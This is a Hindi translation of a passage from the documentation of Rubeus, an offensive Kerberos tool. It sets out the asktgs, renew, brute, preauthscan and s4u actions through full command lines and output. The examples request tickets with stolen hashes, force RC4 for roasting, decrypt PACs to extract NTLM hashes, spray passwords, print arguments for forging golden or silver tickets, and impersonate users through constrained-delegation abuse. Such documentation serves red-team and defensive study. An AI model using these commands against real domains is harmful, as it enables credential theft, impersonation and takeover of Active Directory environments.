/keyList फ़्लैग को केर्बेरोस की लिस्ट अनुरोध के लिए लागू किया गया था। इन अनुरोधों को /ticket:BASE64|FILE.KIRBI पैरामीटर में पढ़े जाने वाले केवल-पढ़ने वाले डोमेन कंट्रोलर से जाली आंशिक TGT का उपयोग करना चाहिए, इस जाली TGT के बारे में अधिक विवरण golden अनुभाग में दिए गए हैं। इसके अलावा, /spn:x फ़ील्ड को डोमेन के भीतर KRBTGT SPN पर सेट किया जाना चाहिए, उदा. KRBTBT/domain.local।
asktgs कार्रवाई LSASS का उपयोग करके केर्बेरोस प्रमाणीकरण पैकेज के माध्यम से सेवा टिकटों का अनुरोध करने का भी समर्थन करती है। ऑपरेशन के इस मोड को /ticket तर्क को छोड़ कर सक्षम किया जा सकता है। डिफ़ॉल्ट रूप से, वर्तमान लॉगऑन सत्र से जुड़े TGT का उपयोग किया जाता है। /luid:xxx तर्क प्रदान करके एक वैकल्पिक लॉगऑन सत्र को लक्षित किया जा सकता है। अन्य लॉगऑन सत्रों को लक्षित करते समय स्थानीय व्यवस्थापक विशेषाधिकारों की आवश्यकता होती है। वर्तमान में, LSASS के माध्यम से केवल सरल सेवा टिकटों का अनुरोध किया जा सकता है। S4U2Self, U2U, कुंजी सूची और KDC प्रॉक्सी जैसी सुविधाओं के लिए तर्कों को अनदेखा किया जाता है। LSASS के माध्यम से सेवा टिकटों का अनुरोध करना अक्सर अधिक opsec अनुकूल हो सकता है, क्योंकि केर्बेरोस ट्रैफ़िक LSASS से उत्पन्न होगा। यह मोड उन परिदृश्यों के लिए भी आवश्यक है जहां क्रेडेंशियल गार्ड / रिमोट क्रेडेंशियल गार्ड सक्रिय है, क्योंकि क्रेडेंशियल गार्ड वाले TGT को डंप करना संभव नहीं है।
dfm.a के लिए TGT का अनुरोध करना और फिर उस टिकट का उपयोग "LDAP/primary.testlab.local" और "cifs/primary.testlab.local" SPN के लिए सेवा टिकट का अनुरोध करना:
C:\Rubeus>Rubeus.exe asktgt /user:dfm.a /rc4:2b576acbe6bcfda7294d6bd18041b8fe
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1537 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...
C:\Rubeus>Rubeus.exe asktgs /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... /service:LDAP/primary.testlab.local,cifs/primary.testlab.local /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Ask TGS
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ request for: 'LDAP/primary.testlab.local'
[*] Connecting to 192.168.52.100:88
[*] Sent 1514 bytes
[*] Received 1562 bytes
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFzjCCBcqgAwIBBaEDAgEWoo...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
[*] Action: Ask TGS
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ request for: 'cifs/primary.testlab.local'
[*] Connecting to 192.168.52.100:88
[*] Sent 1514 bytes
[*] Received 1562 bytes
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFzjCCBcqgAwIBBaEDAgEWoo...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
C:\Rubeus>Rubeus.exe klist
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: List Kerberos Tickets (Current User)
[0] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 2/10/2019 6:44:43 PM ; 2/10/2019 11:44:09 PM ; 2/17/2019 6:44:09 PM
Server Name : cifs/primary.testlab.local @ TESTLAB.LOCAL
Client Name : dfm.a @ TESTLAB.LOCAL
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)
[1] - 0x12 - aes256_cts_hmac_sha1
Start/End/MaxRenew: 2/10/2019 6:44:43 PM ; 2/10/2019 11:44:09 PM ; 2/17/2019 6:44:09 PM
Server Name : LDAP/primary.testlab.local @ TESTLAB.LOCAL
Client Name : dfm.a @ TESTLAB.LOCAL
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable (40a50000)
AES-सक्षम सेवा खाते के लिए सेवा टिकट का अनुरोध करना, यह निर्दिष्ट करते हुए कि हम केवल RC4_HMAC का समर्थन करते हैं:
C:\Rubeus>Rubeus.exe asktgs /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip).../service:roast/me /enctype:rc4
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.1
[*] Action: Ask TGS
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Requesting 'rc4_hmac' etype for the service ticket
[*] Building TGS-REQ request for: 'roast/me'
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFrjCCBaqgAwIBBaEDA...(snip)...
[*] Action: Describe Ticket
UserName : dfm.a
UserRealm : TESTLAB.LOCAL
ServiceName : roast/me
ServiceRealm : TESTLAB.LOCAL
StartTime : 2/25/2019 3:10:59 PM
EndTime : 2/25/2019 8:09:54 PM
RenewTill : 3/4/2019 3:09:54 PM
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : Gg3zZicIl5c50KGecCf8XA==
यूज़र-टू-यूज़र सेवा टिकट का अनुरोध करना और PA for User PA-DATA सेक्शन (S4U2self अनुरोध) शामिल करना, किसी भी उपयोगकर्ता के लिए पढ़ने योग्य PAC प्राप्त करना संभव है:
C:\Rubeus>Rubeus.exe asktgs /u2u /targetuser:ccob /ticket:doIFijCCBYagAwIBBaED...(snip)...3RwYWNrLmxvY2Fs /tgs:doIFijCCBYagAwIBBaEDAg...(snip)...YWNrLmxvY2Fs
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGS
[*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building User-to-User TGS-REQ request for: 'exploitph'
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFKzCCBSegAwIBBaEDAgEWooIEKzCCBCdhggQjMIIEH6ADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
cGxvaXRwaA==ServiceName : exploitph
ServiceRealm : RUBEUS.GHOSTPACK.LOCAL
UserName : ccob
UserRealm : RUBEUS.GHOSTPACK.LOCAL
StartTime : 20/07/2021 22:00:07
EndTime : 21/07/2021 07:59:39
RenewTill : 27/07/2021 21:59:39
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : u2AYdjG4gLNIXqzb3MmwtDtE1k2NR5ty9h80w704+8Q=
Decrypted PAC :
LogonInfo :
LogonTime : 01/01/1601 00:00:00
LogoffTime :
KickOffTime :
PasswordLastSet : 20/07/2021 21:58:44
PasswordCanChange : 21/07/2021 21:58:44
PasswordMustChange : 31/08/2021 21:58:44
EffectiveName : ccob
FullName : C Cob
LogonScript :
ProfilePath :
HomeDirectory :
HomeDirectoryDrive :
LogonCount : 0
BadPasswordCount : 0
UserId : 1109
PrimaryGroupId : 513
GroupCount : 1
Groups : 513
UserFlags : (32) EXTRA_SIDS
UserSessionKey : 0000000000000000
LogonServer : PDC1
LogonDomainName : RUBEUS
LogonDomainId : S-1-5-21-3237111427-1607930709-3979055039
UserAccountControl : (16) NORMAL_ACCOUNT
ExtraSIDCount : 1
ExtraSIDs : S-1-18-2
ResourceGroupCount : 0
ClientName :
Client Id : 20/07/2021 21:59:39
Client Name : ccob
UpnDns :
DNS Domain Name : RUBEUS.GHOSTPACK.LOCAL
UPN : [email protected]
Flags : 0
ServerChecksum :
Signature Type : KERB_CHECKSUM_HMAC_MD5
Signature : 79A2DC5595C76FA85155B4C65B3A0EE1 (VALID)
KDCChecksum :
Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Signature : DA57618BB48EA56371E374B1 (UNVALIDATED)
यदि PAC को डिक्रिप्ट किया जा सकता है (यूज़र-टू-यूज़र अनुरोध द्वारा या /servicekey पास करके), तो उन आर्गुमेंट्स को प्रिंट करना संभव है जो समान PAC मानों वाले टिकट को फोर्ज करने के लिए आवश्यक हैं:
C:\Rubeus>Rubeus.exe asktgs /service:roast/me /printargs /servicekey:9FFB199F118556F579B415270EE835005227FCBF29331DAC27C4397AC353F52B /ticket:doIF9DCCBfCgAwIBBaEDAg...(snip)...cGFjay5sb2NhbA==
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGS
[*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'roast/me'
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIF6jCCBeagAwIBBaEDAgEWooIE5zCCBONhggTfMIIE26ADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
AgECoQ0wCxsFcm9hc3QbAm1l
ServiceName : roast/me
ServiceRealm : RUBEUS.GHOSTPACK.LOCAL
UserName : harmj0y
UserRealm : RUBEUS.GHOSTPACK.LOCAL
StartTime : 20/07/2021 00:02:27
EndTime : 20/07/2021 09:57:46
RenewTill : 26/07/2021 23:57:46
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : U9Vnk0QnOmByQqF7i+5ujkinm9pRrevcRhw1sKVEVi4=
Decrypted PAC :
LogonInfo :
LogonTime : 19/07/2021 23:00:38
LogoffTime :
KickOffTime :
PasswordLastSet : 14/07/2021 02:07:12
PasswordCanChange : 15/07/2021 02:07:12
PasswordMustChange :
EffectiveName : harmj0y
FullName : Harm J0y
LogonScript :
ProfilePath :
HomeDirectory :
HomeDirectoryDrive :
LogonCount : 8
BadPasswordCount : 0
UserId : 1106
PrimaryGroupId : 513
GroupCount : 1
Groups : 513
UserFlags : (32) EXTRA_SIDS
UserSessionKey : 0000000000000000
LogonServer : PDC1
LogonDomainName : RUBEUS
LogonDomainId : S-1-5-21-3237111427-1607930709-3979055039
UserAccountControl : (528) NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
ExtraSIDCount : 1
ExtraSIDs : S-1-18-1
ResourceGroupCount : 0
CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData : *** NO KEY ***
ClientName :
Client Id : 19/07/2021 23:57:46
Client Name : harmj0y
UpnDns :
DNS Domain Name : RUBEUS.GHOSTPACK.LOCAL
UPN : [email protected]
Flags : 0
ServerChecksum :
Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Signature : 96FA020562EE73B38D31AEEF (VALID)
KDCChecksum :
Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Signature : E7FDCBAF5F580DFB567DF102 (UNVALIDATED)
[*] Printing argument list for use with Rubeus' 'golden' or 'silver' commands:
/user:harmj0y /id:1106 /pgid:513 /logoncount:8 /badpwdcount:0 /sid:S-1-5-21-3237111427-1607930709-3979055039 /netbios:RUBEUS /displayname:"Harm J0y" /groups:513 /sids:S-1-18-1 /pwdlastset:"14/07/2021 02:07:12" /minpassage:1d /dc:PDC1.RUBEUS.GHOSTPACK.LOCAL /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD
TGT प्राप्त करने और फिर PAC में संग्रहीत NTLM हैश तक पहुँचने के लिए यूज़र-टू-यूज़र सेवा टिकट का अनुरोध करने के लिए PKINIT का उपयोग करना (मैन्युअल रूप से asktgt के /getcredentials फ्लैग को निष्पादित करना):
C:\Rubeus>Rubeus.exe asktgs /u2u /asrepkey:CC9D16AB01D1BD0EF9EBD53C8AD536D9 /ticket:doIF9DCCBfCgAwIBBaED...(snip)...ay5sb2NhbA== /tgs:doIF9DCCBfCgAwIBBaED...(snip)...ay5sb2NhbA==
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Ask TGS
[*] Using domain controller: PDC1.rubeus.ghostpack.local (192.168.71.80)
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building User-to-User TGS-REQ request for: 'harmj0y'
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFxTCCBcGgAwIBBaEDAgEWooIE1DCCBNBhggTMMIIEyKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
RVVTLkdIT1NUUEFDSy5MT0NBTKkUMBKgAwIBAaELMAkbB2hhcm1qMHk=
ServiceName : harmj0y
ServiceRealm : RUBEUS.GHOSTPACK.LOCAL
UserName : harmj0y
UserRealm : RUBEUS.GHOSTPACK.LOCAL
StartTime : 19/07/2021 23:01:05
EndTime : 20/07/2021 09:00:38
RenewTill : 26/07/2021 23:00:38
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : Qm9zdwFIINSHAAmqaviuEw==
ASREP (key) : CC9D16AB01D1BD0EF9EBD53C8AD536D9
Decrypted PAC :
LogonInfo :
LogonTime : 19/07/2021 22:59:21
LogoffTime :
KickOffTime :
PasswordLastSet : 14/07/2021 02:07:12
PasswordCanChange : 15/07/2021 02:07:12
PasswordMustChange :
EffectiveName : harmj0y
FullName : Harm J0y
LogonScript :
ProfilePath :
HomeDirectory :
HomeDirectoryDrive :
LogonCount : 7
BadPasswordCount : 0
UserId : 1106
PrimaryGroupId : 513
GroupCount : 1
Groups : 513
UserFlags : (32) EXTRA_SIDS
UserSessionKey : 0000000000000000
LogonServer : PDC1
LogonDomainName : RUBEUS
LogonDomainId : S-1-5-21-3237111427-1607930709-3979055039
UserAccountControl : (528) NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD
ExtraSIDCount : 1
ExtraSIDs : S-1-18-1
ResourceGroupCount : 0
CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData :
CredentialCount : 1
NTLM : C69A7EA908898C23B72E65329AF7E3E8
ClientName :
Client Id : 19/07/2021 23:00:38
Client Name : harmj0y
UpnDns :
DNS Domain Name : RUBEUS.GHOSTPACK.LOCAL
UPN : [email protected]
Flags : 0
ServerChecksum :
Signature Type : KERB_CHECKSUM_HMAC_MD5
Signature : ADEC4A1A7DF70D0A61047E510E778454 (VALID)
KDCChecksum :
Signature Type : KERB_CHECKSUM_HMAC_SHA1_96_AES256
Signature : 6CF688E02147BEEC168E0125 (UNVALIDATED)
नोट: TGT प्राप्ति से /asrepkey को पास करना आवश्यक है ताकि CredentialData अनुभाग को डिक्रिप्ट किया जा सके जहाँ NTLM हैश संग्रहीत है, लेकिन /servicekey आर्गुमेंट यहाँ आवश्यक नहीं है क्योंकि TGT से सत्र कुंजी का उपयोग किया जा रहा है क्योंकि यह यूज़र-टू-यूज़र अनुरोध है।
वर्तमान लॉग ऑन सेशन का उपयोग करके एक सेवा टिकट का अनुरोध करना:``` Rubeus.exe asktgs /service:LDAP/dc.ghostpack.local /nowrap
(_____ \ | | ) ) | | _____ _ _ ___ | __ /| | | | _ | ___ | | | |/) | | \ | || | |) ) | || | | || ||/|/|_____)__/(_/
v2.3.3
[*] Action: Ask TGS
[=] Requesting service ticket via LSA authentication package 2 using handle 0x9625072 [*] base64(ticket.kirbi):
doIGvDCCBrigAwIBBaEDAg(..snip..)
ServiceName : LDAP/dc.ghostpack.local ServiceRealm : GHOSTPACK.LOCAL UserName : CCob (NT_PRINCIPAL) UserRealm : GHOSTPACK.LOCAL StartTime : 25/02/2025 09:08:11 EndTime : 25/02/2025 18:48:39 RenewTill : 03/03/2025 12:47:40 Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable KeyType : aes256_cts_hmac_sha1 Base64(key) : k2xUOHFN1Xg(...snip...)
नवीनीकरण के माध्यम से स्थानीय कंप्यूटर खाते का TGT अनुरोध करना। स्थानीय व्यवस्थापक पहुंच की आवश्यकता है। यदि credential guard मौजूद है, तो होस्ट से दूर टिकट का उपयोग संभव नहीं होगा।```
Rubeus.exe asktgs /service:krbtgt/ghostpack.local /luid:0x3e7
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
[*] Action: Ask TGS
[=] Requesting service ticket via LSA authentication package 2 using handle 0x10441184
[*] base64(ticket.kirbi):
doIGuTCCBrWg(...snip...)IFhb3MuZGV2
ServiceName : krbtgt/ghostpack.local
ServiceRealm : GHOSTPACK.LOCAL
UserName : DC$ (NT_PRINCIPAL)
UserRealm : GHOSTPACK.LOCAL
StartTime : 25/02/2025 09:18:37
EndTime : 25/02/2025 11:35:10
RenewTill : 02/03/2025 10:35:06
Flags : name_canonicalize, pre_authent, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : k2xUOHFN1Xg(...snip...)
renew क्रिया निर्दिष्ट /ticket:X का उपयोग करके एक कच्चे TGS-REQ/TGS-REP TGT नवीनीकरण विनिमय का निर्माण/पार्स करेगा। यह मान .kirbi फ़ाइल का base64 एन्कोडिंग या डिस्क पर .kirbi फ़ाइल का पथ हो सकता है। यदि /dc निर्दिष्ट नहीं है, तो कंप्यूटर का वर्तमान डोमेन कंट्रोलर निकाला जाता है और नवीनीकरण ट्रैफ़िक के गंतव्य के रूप में उपयोग किया जाता है। /ptt फ़्लैग "पास-द-टिकट" करेगा और परिणामी केरबेरोस क्रेडेंशियल को वर्तमान लॉगऑन सत्र पर लागू करेगा।
ध्यान दें कि TGT को उनके EndTime से पहले, RenewTill विंडो के भीतर नवीनीकृत किया जाना चाहिए।
C:\Rubeus>Rubeus.exe renew /ticket:ticket.kirbi /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Renew TGT
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 1506 bytes
[*] Received 1510 bytes
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
/autorenew फ़्लैग मौजूदा /ticket:X .kirbi फ़ाइल/ब्लॉब लेगा, endTime-30 मिनट तक सोएगा, टिकट को स्वचालित रूप से नवीनीकृत करेगा और ताज़ा टिकट ब्लॉब प्रदर्शित करेगा। यह नवीनीकरण प्रक्रिया तब तक जारी रखेगा जब तक स्वीकार्य नवीनीकरण-तक विंडो समाप्त नहीं हो जाती।
C:\Rubeus>Rubeus.exe renew /ticket:doIFmjCCBZagAwIBBaEDAgEWoo...(snip)... /autorenew
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Auto-Renew TGT
[*] User : [email protected]
[*] endtime : 2/10/2019 11:44:09 PM
[*] renew-till : 2/17/2019 6:44:09 PM
[*] Sleeping for 263 minutes (endTime-30) before the next renewal
[*] Renewing TGT for [email protected]
[*] Action: Renew TGT
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ renewal for: 'TESTLAB.LOCAL\dfm.a'
[*] Connecting to 192.168.52.100:88
[*] Sent 1506 bytes
[*] Received 1510 bytes
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):
doIFmjCCBZagAwIBBaEDAgEWoo...(snip)...
brute क्रिया केरबेरोस-आधारित पासवर्ड ब्रूटफोर्स या पासवर्ड स्प्रेइंग हमला करेगी। spray को भी क्रिया नाम के रूप में उपयोग किया जा सकता है।
C:\Rubeus>Rubeus.exe brute /password:Password123!! /noticket
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[-] Blocked/Disabled user => Guest
[-] Blocked/Disabled user => DefaultAccount
[-] Blocked/Disabled user => krbtgt
[-] Blocked/Disabled user => disabled
[+] STUPENDOUS => newuser:Password123!!
[*] base64(newuser.kirbi):
doIFLDCCBSigAwIBBaEDAgEWooIELDCCBChhggQkMIIEIKADAgEFoRAbDlR...(snip)...
preauthscan क्रिया /users तर्क में पारित सभी उपयोगकर्ता नामों के लिए AS-REQ भेजेगी ताकि उन खातों का पता लगाया जा सके जिन्हें केरबेरोस प्री-प्रमाणीकरण की आवश्यकता नहीं है।
C:\Rubeus>Rubeus.exe preauthscan /users:uns.txt /domain:semperis.lab /dc:192.168.71.220
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.0
[*] Action: Scan for accounts not requiring Kerberos Pre-Authentication
[*] cclark: Pre-Auth Required
[*] jjones: Pre-Auth Not Required
[*] rwilliams: Pre-Auth Required
[*] svc_sqlserver: Pre-Auth Required
[*] pgreen: Pre-Auth Required
[*] jsmith: Pre-Auth Required
[*] tnahum: Pre-Auth Required
[*] sfederovsky: Pre-Auth Required
सीमित प्रतिनिधिमंडल कमांड का विवरण:
| Command | Description |
|---|---|
| s4u | Perform S4U2self and S4U2proxy actions |
s4u क्रिया लगभग Kekeo के tgs::s4u कार्यक्षमता के समान है। यदि कोई उपयोगकर्ता (या कंप्यूटर) खाता सीमित प्रतिनिधिमंडल के लिए कॉन्फ़िगर किया गया है (अर्थात उसके msds-allowedtodelegateto फ़ील्ड में एक SPN मान है) तो इस क्रिया का उपयोग लक्ष्य SPN/सर्वर तक पहुंच का दुरुपयोग करने के लिए किया जा सकता है। सीमित प्रतिनिधिमंडल जटिल है। अधिक जानकारी के लिए यह पोस्ट या Elad Shamir की "Wagging the Dog" पोस्ट देखें।
TL;DR स्पष्टीकरण यह है कि सीमित प्रतिनिधिमंडल सक्षम खाते को S4U2self नामक प्रक्रिया में किसी भी उपयोगकर्ता के रूप में स्वयं के लिए टिकट का अनुरोध करने की अनुमति है। किसी खाते को ऐसा करने की अनुमति देने के लिए, उसके useraccountcontrol गुण में TrustedToAuthForDelegation सक्षम होना चाहिए, जो डिफ़ॉल्ट रूप से केवल उच्च-स्तरीय उपयोगकर्ता ही संशोधित कर सकते हैं। इस टिकट में डिफ़ॉल्ट रूप से FORWARDABLE फ़्लैग सेट होता है। सेवा फिर इस विशेष रूप से अनुरोधित टिकट का उपयोग खाते के msds-allowedtodelegateto फ़ील्ड में निर्दिष्ट किसी भी सेवा प्रिंसिपल नाम (SPN) के लिए सेवा टिकट का अनुरोध करने के लिए कर सकती है। तो लंबी कहानी संक्षेप में, यदि आपके पास TrustedToAuthForDelegation सेट और msds-allowedtodelegateto में मान वाले खाते का नियंत्रण है, तो आप डोमेन में किसी भी उपयोगकर्ता का रूप धारण कर सकते हैं, उन SPN के लिए जो खाते के msds-allowedtodelegateto फ़ील्ड में सेट हैं।
यह "नियंत्रण" खाते का हैश (/rc4 या /aes256), या msds-allowedtodelegateto मान सेट वाले खाते के लिए मौजूदा TGT (/ticket:X) हो सकता है। यदि /user और rc4/aes256 हैश प्रदान किया गया है, तो s4u मॉड्यूल पहले asktgt क्रिया करता है, बाद के चरणों के लिए लौटाए गए टिकट का उपयोग करता है। यदि TGT /ticket:X प्रदान किया गया है, तो उस TGT का उपयोग किया जाता है।
यदि खाता हैश प्रदान किया गया है, तो /nopac स्विच का उपयोग प्रारंभिक TGT को PAC के बिना अनुरोध करने के लिए किया जा सकता है।
KDC प्रॉक्सी (MS-KKDCP) का उपयोग करके अनुरोध करना /proxyurl:URL तर्क का उपयोग करके संभव है। KDC प्रॉक्सी के लिए पूर्ण URL आवश्यक है, जैसे https://kdcproxy.exmaple.com/kdcproxy। जब s4u कमांड के लिए उपयोग किया जाता है, तो सभी अनुरोध प्रॉक्सी के माध्यम से भेजे जाएंगे।
s4u मॉड्यूल को /impersonateuser:X पैरामीटर अनिवार्य रूप से प्रदान किया जाना चाहिए। यदि और कुछ प्रदान नहीं किया गया है, तो केवल S4U2self प्रक्रिया निष्पादित होती है, जो एक अग्रेषणीय टिकट लौटाती है:
C:\Rubeus>Rubeus.exe s4u /user:patsy /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:dfm.a
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\patsy'
[*] Connecting to 192.168.52.100:88
[*] Sent 230 bytes
[*] Received 1377 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIE+jCCBPagAwIBBaEDAgEWoo...(snip)...
[*] Action: S4U
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2self request for: 'TESTLAB.LOCAL\patsy'
[*] Sending S4U2self request
[*] Connecting to 192.168.52.100:88
[*] Sent 1437 bytes
[*] Received 1574 bytes
[+] S4U2self success!
[*] Got a TGS for '[email protected]' to 'TESTLAB.LOCAL\patsy'
[*] base64(ticket.kirbi):
doIF2jCCBdagAwIBBaEDAgEWoo...(snip)...
उस अग्रेषणीय टिकट का उपयोग तब /tgs:Y पैरामीटर (base64 ब्लॉब या .kirbi फ़ाइल) के रूप में S4U2proxy प्रक्रिया को निष्पादित करने के लिए किया जा सकता है। खाते के लिए एक मान्य msds-allowedtodelegateto मान प्रदान किया जाना चाहिए (/msdsspn:X)। मान लीजिए [email protected] खाता इस प्रकार दिखता है:
PS C:\> Get-DomainUser patsy -Properties samaccountname,msds-allowedtodelegateto | Select -Expand msds-allowedtodelegateto
ldap/PRIMARY.testlab.local/testlab.local
ldap/PRIMARY
ldap/PRIMARY.testlab.local/TESTLAB
ldap/PRIMARY/TESTLAB
ldap/PRIMARY.testlab.local/DomainDnsZones.testlab.local
ldap/PRIMARY.testlab.local/ForestDnsZones.testlab.local
ldap/PRIMARY.testlab.local
फिर S4U2proxy दुरुपयोग फ़ंक्शन (पिछली S4U2self प्रक्रिया के टिकट का उपयोग करके) इस प्रकार होगा:
C:\Rubeus>Rubeus.exe s4u /ticket:doIE+jCCBPagAwIBBaEDAgEWoo..(snip).. /msdsspn:"ldap/PRIMARY.testlab.local" /tgs:doIF2jCCBdagAwIBBaEDAgEWoo..(snip)..
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.3.3
[*] Action: S4U
[*] Loaded a TGS for TESTLAB.LOCAL\[email protected]
[*] Impersonating user '[email protected]' to target SPN 'ldap/PRIMARY.testlab.local'
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building S4U2proxy request for service: 'ldap/PRIMARY.testlab.local'
[*] Sending S4U2proxy request
[*] Connecting to 192.168.52.100:88
[*] Sent 2641 bytes
[*] Received 1829 bytes
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'ldap/PRIMARY.testlab.local':
doIGujCCBragAwIBBaEDAgEWoo..(snip)..
जहाँ /ticket:X पहले चरण में लौटाया गया TGT है, और /tgs S4U2self टिकट है। परिणामी टिकट को इंजेक्ट करना (मैन्युअल रूप से Rubeus.exe ptt /ticket:X के साथ या s4u कमांड को /ptt फ़्लैग प्रदान करके) आपको primary.testlab.local पर ldap सेवा तक पहुंचने की अनुमति देगा जैसे कि आप dfm.a हैं।
